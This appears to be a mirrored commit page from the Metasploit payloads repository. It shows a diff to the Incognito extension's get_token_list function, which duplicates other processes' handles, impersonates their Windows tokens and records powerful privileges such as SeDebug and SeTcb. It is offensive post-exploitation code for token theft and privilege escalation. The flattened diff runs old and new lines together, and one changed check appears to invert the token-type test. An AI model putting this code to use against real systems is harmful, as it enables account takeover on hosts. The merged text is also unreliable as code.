1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-11-26 17:41:08 +01:00

Land #592, Fix #584: Close memory and handle leaks

This commit is contained in:
Grant Willcox 2022-11-10 16:10:23 -06:00
commit 3d8b02f17b
No known key found for this signature in database
GPG Key ID: D35E05C0F2B81E83

View File

@ -189,92 +189,103 @@ SavedToken *get_token_list(DWORD *num_tokens_enum, TOKEN_PRIVS *token_privs)
{ {
hObject = NULL; hObject = NULL;
if (DuplicateHandle(process, (HANDLE)(DWORD_PTR)((i + 1) * 4), if (DuplicateHandle(process, (HANDLE)(DWORD_PTR)((i + 1) * 4), GetCurrentProcess(), &hObject, MAXIMUM_ALLOWED, FALSE, 0x02))
GetCurrentProcess(), &hObject, MAXIMUM_ALLOWED, FALSE, 0x02) != FALSE)
{ {
LPWSTR lpwsType = NULL; LPWSTR lpwsType = NULL;
lpwsType = GetObjectInfo(hObject, ObjectTypeInformation); lpwsType = GetObjectInfo(hObject, ObjectTypeInformation);
if ((lpwsType != NULL) && !wcscmp(lpwsType, L"Token") && ImpersonateLoggedOnUser(hObject) != 0) if (lpwsType)
{ {
// ImpersonateLoggedOnUser() always returns true. Need to check whether impersonated token kept impersonate status - failure degrades to identification if (wcscmp(lpwsType, L"Token") && (ImpersonateLoggedOnUser(hObject)))
// also revert to self after getting new token context
// only process if it was impersonation or higher
OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, TRUE, &hObject2);
RevertToSelf();
if (is_impersonation_token(hObject2))
{ {
// Reallocate space if necessary // ImpersonateLoggedOnUser() always returns true. Need to check whether impersonated token kept impersonate status - failure degrades to identification
if (*num_tokens_enum >= token_list_size) // also revert to self after getting new token context
// only process if it was impersonation or higher
OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, TRUE, &hObject2);
RevertToSelf();
if (is_impersonation_token(hObject2))
{ {
token_list_size *= 2; // Reallocate space if necessary
token_list = (SavedToken*)realloc(token_list, token_list_size*sizeof(SavedToken)); if (*num_tokens_enum >= token_list_size)
if (!token_list)
{ {
goto cleanup; token_list_size *= 2;
} token_list = (SavedToken*)realloc(token_list, token_list_size * sizeof(SavedToken));
} if (!token_list)
token_list[*num_tokens_enum].token = hObject;
get_domain_username_from_token(hObject, token_list[*num_tokens_enum].username);
if (GetTokenInformation(hObject, TokenPrivileges, TokenPrivilegesInfo, BUF_SIZE, &returned_privileges_length))
{
if (((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->PrivilegeCount > 0)
{
for (j = 0; j < ((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->PrivilegeCount; j++)
{ {
returned_name_length = BUF_SIZE; CloseHandle(hObject2);
LookupPrivilegeNameW(NULL, &(((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->Privileges[j].Luid), privilege_name, &returned_name_length); CloseHandle(hObject);
if (wcscmp(privilege_name, L"SeAssignPrimaryTokenPrivilege") == 0) CloseHandle(process);
goto cleanup;
}
}
token_list[*num_tokens_enum].token = hObject;
get_domain_username_from_token(hObject, token_list[*num_tokens_enum].username);
if (GetTokenInformation(hObject, TokenPrivileges, TokenPrivilegesInfo, BUF_SIZE, &returned_privileges_length))
{
if (((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->PrivilegeCount > 0)
{
for (j = 0; j < ((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->PrivilegeCount; j++)
{ {
token_privs->SE_ASSIGNPRIMARYTOKEN_PRIVILEGE = TRUE; returned_name_length = BUF_SIZE;
} LookupPrivilegeNameW(NULL, &(((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->Privileges[j].Luid), privilege_name, &returned_name_length);
else if (wcscmp(privilege_name, L"SeCreateTokenPrivilege") == 0) if (wcscmp(privilege_name, L"SeAssignPrimaryTokenPrivilege") == 0)
{ {
token_privs->SE_CREATE_TOKEN_PRIVILEGE = TRUE; token_privs->SE_ASSIGNPRIMARYTOKEN_PRIVILEGE = TRUE;
} }
else if (wcscmp(privilege_name, L"SeTcbPrivilege") == 0) else if (wcscmp(privilege_name, L"SeCreateTokenPrivilege") == 0)
{ {
token_privs->SE_TCB_PRIVILEGE = TRUE; token_privs->SE_CREATE_TOKEN_PRIVILEGE = TRUE;
} }
else if (wcscmp(privilege_name, L"SeTakeOwnershipPrivilege") == 0) else if (wcscmp(privilege_name, L"SeTcbPrivilege") == 0)
{ {
token_privs->SE_TAKE_OWNERSHIP_PRIVILEGE = TRUE; token_privs->SE_TCB_PRIVILEGE = TRUE;
} }
else if (wcscmp(privilege_name, L"SeBackupPrivilege") == 0) else if (wcscmp(privilege_name, L"SeTakeOwnershipPrivilege") == 0)
{ {
token_privs->SE_BACKUP_PRIVILEGE = TRUE; token_privs->SE_TAKE_OWNERSHIP_PRIVILEGE = TRUE;
} }
else if (wcscmp(privilege_name, L"SeRestorePrivilege") == 0) else if (wcscmp(privilege_name, L"SeBackupPrivilege") == 0)
{ {
token_privs->SE_RESTORE_PRIVILEGE = TRUE; token_privs->SE_BACKUP_PRIVILEGE = TRUE;
} }
else if (wcscmp(privilege_name, L"SeDebugPrivilege") == 0) else if (wcscmp(privilege_name, L"SeRestorePrivilege") == 0)
{ {
token_privs->SE_DEBUG_PRIVILEGE = TRUE; token_privs->SE_RESTORE_PRIVILEGE = TRUE;
} }
else if (wcscmp(privilege_name, L"SeImpersonatePrivilege") == 0) else if (wcscmp(privilege_name, L"SeDebugPrivilege") == 0)
{ {
token_privs->SE_IMPERSONATE_PRIVILEGE = TRUE; token_privs->SE_DEBUG_PRIVILEGE = TRUE;
} }
else if (wcscmp(privilege_name, L"SeRelabelPrivilege") == 0) else if (wcscmp(privilege_name, L"SeImpersonatePrivilege") == 0)
{ {
token_privs->SE_RELABEL_PRIVILEGE = TRUE; token_privs->SE_IMPERSONATE_PRIVILEGE = TRUE;
} }
else if (wcscmp(privilege_name, L"SeLoadDriverPrivilege") == 0) else if (wcscmp(privilege_name, L"SeRelabelPrivilege") == 0)
{ {
token_privs->SE_LOAD_DRIVER_PRIVILEGE = TRUE; token_privs->SE_RELABEL_PRIVILEGE = TRUE;
}
else if (wcscmp(privilege_name, L"SeLoadDriverPrivilege") == 0)
{
token_privs->SE_LOAD_DRIVER_PRIVILEGE = TRUE;
}
} }
} }
} }
}
(*num_tokens_enum)++; (*num_tokens_enum)++;
}
else {
CloseHandle(hObject);
}
CloseHandle(hObject2);
} }
CloseHandle(hObject2); else {
CloseHandle(hObject);
}
free(lpwsType);
} }
else else {
{
CloseHandle(hObject); CloseHandle(hObject);
} }
} }
@ -282,77 +293,89 @@ SavedToken *get_token_list(DWORD *num_tokens_enum, TOKEN_PRIVS *token_privs)
// Also process primary // Also process primary
// if has impersonate privs, only needs read access // if has impersonate privs, only needs read access
if (OpenProcessToken(process, MAXIMUM_ALLOWED, &hObject) && ImpersonateLoggedOnUser(hObject)) if (OpenProcessToken(process, MAXIMUM_ALLOWED, &hObject))
{ {
// ImpersonateLoggedOnUser() always returns true. Need to check whether impersonated token kept impersonate status - failure degrades to identification if (ImpersonateLoggedOnUser(hObject)) {
// also revert to self after getting new token context // ImpersonateLoggedOnUser() always returns true. Need to check whether impersonated token kept impersonate status - failure degrades to identification
// only process if it was impersonation or higher // also revert to self after getting new token context
if (OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, TRUE, &hObject2)) // only process if it was impersonation or higher
{ if (OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, TRUE, &hObject2))
RevertToSelf();
if (is_impersonation_token(hObject2))
{ {
token_list[*num_tokens_enum].token = hObject; RevertToSelf();
get_domain_username_from_token(hObject, token_list[*num_tokens_enum].username); if (is_impersonation_token(hObject2))
(*num_tokens_enum)++;
if (GetTokenInformation(hObject, TokenPrivileges, TokenPrivilegesInfo, BUF_SIZE, &returned_privileges_length))
{ {
for (i = 0; i < ((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->PrivilegeCount; i++) token_list[*num_tokens_enum].token = hObject;
get_domain_username_from_token(hObject, token_list[*num_tokens_enum].username);
(*num_tokens_enum)++;
if (GetTokenInformation(hObject, TokenPrivileges, TokenPrivilegesInfo, BUF_SIZE, &returned_privileges_length))
{ {
returned_name_length = BUF_SIZE; for (i = 0; i < ((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->PrivilegeCount; i++)
LookupPrivilegeNameW(NULL, &(((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->Privileges[i].Luid), privilege_name, &returned_name_length);
if (wcscmp(privilege_name, L"SeAssignPrimaryTokenPrivilege") == 0)
{ {
token_privs->SE_ASSIGNPRIMARYTOKEN_PRIVILEGE = TRUE; returned_name_length = BUF_SIZE;
} LookupPrivilegeNameW(NULL, &(((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->Privileges[i].Luid), privilege_name, &returned_name_length);
else if (wcscmp(privilege_name, L"SeCreateTokenPrivilege") == 0) if (wcscmp(privilege_name, L"SeAssignPrimaryTokenPrivilege") == 0)
{ {
token_privs->SE_CREATE_TOKEN_PRIVILEGE = TRUE; token_privs->SE_ASSIGNPRIMARYTOKEN_PRIVILEGE = TRUE;
} }
else if (wcscmp(privilege_name, L"SeTcbPrivilege") == 0) else if (wcscmp(privilege_name, L"SeCreateTokenPrivilege") == 0)
{ {
token_privs->SE_TCB_PRIVILEGE = TRUE; token_privs->SE_CREATE_TOKEN_PRIVILEGE = TRUE;
} }
else if (wcscmp(privilege_name, L"SeTakeOwnershipPrivilege") == 0) else if (wcscmp(privilege_name, L"SeTcbPrivilege") == 0)
{ {
token_privs->SE_TAKE_OWNERSHIP_PRIVILEGE = TRUE; token_privs->SE_TCB_PRIVILEGE = TRUE;
} }
else if (wcscmp(privilege_name, L"SeBackupPrivilege") == 0) else if (wcscmp(privilege_name, L"SeTakeOwnershipPrivilege") == 0)
{ {
token_privs->SE_BACKUP_PRIVILEGE = TRUE; token_privs->SE_TAKE_OWNERSHIP_PRIVILEGE = TRUE;
} }
else if (wcscmp(privilege_name, L"SeRestorePrivilege") == 0) else if (wcscmp(privilege_name, L"SeBackupPrivilege") == 0)
{ {
token_privs->SE_RESTORE_PRIVILEGE = TRUE; token_privs->SE_BACKUP_PRIVILEGE = TRUE;
} }
else if (wcscmp(privilege_name, L"SeDebugPrivilege") == 0) else if (wcscmp(privilege_name, L"SeRestorePrivilege") == 0)
{ {
token_privs->SE_DEBUG_PRIVILEGE = TRUE; token_privs->SE_RESTORE_PRIVILEGE = TRUE;
} }
else if (wcscmp(privilege_name, L"SeImpersonatePrivilege") == 0) else if (wcscmp(privilege_name, L"SeDebugPrivilege") == 0)
{ {
token_privs->SE_IMPERSONATE_PRIVILEGE = TRUE; token_privs->SE_DEBUG_PRIVILEGE = TRUE;
} }
else if (wcscmp(privilege_name, L"SeRelabelPrivilege") == 0) else if (wcscmp(privilege_name, L"SeImpersonatePrivilege") == 0)
{ {
token_privs->SE_RELABEL_PRIVILEGE = TRUE; token_privs->SE_IMPERSONATE_PRIVILEGE = TRUE;
} }
else if (wcscmp(privilege_name, L"SeLoadDriverPrivilege") == 0) else if (wcscmp(privilege_name, L"SeRelabelPrivilege") == 0)
{ {
token_privs->SE_LOAD_DRIVER_PRIVILEGE = TRUE; token_privs->SE_RELABEL_PRIVILEGE = TRUE;
}
else if (wcscmp(privilege_name, L"SeLoadDriverPrivilege") == 0)
{
token_privs->SE_LOAD_DRIVER_PRIVILEGE = TRUE;
}
} }
} }
} }
else {
CloseHandle(hObject);
}
CloseHandle(hObject2);
} }
else {
CloseHandle(hObject2); CloseHandle(hObject);
}
}
else {
dprintf("[INCOGNITO] Failed next level impersonation, ImpersonateLoggedOnUser failed with %u (%x)", GetLastError(), GetLastError());
CloseHandle(hObject);
} }
} }
else else
{ {
dprintf("[INCOGNITO] Failed next level impersonation with %u (%x)", GetLastError(), GetLastError()); dprintf("[INCOGNITO] Failed next level impersonation, OpenProcessToken failed with %u (%x)", GetLastError(), GetLastError());
} }
CloseHandle(process);
} }
dprintf("[INCOGNITO] Moving to next process from %p", pProcessInfo); dprintf("[INCOGNITO] Moving to next process from %p", pProcessInfo);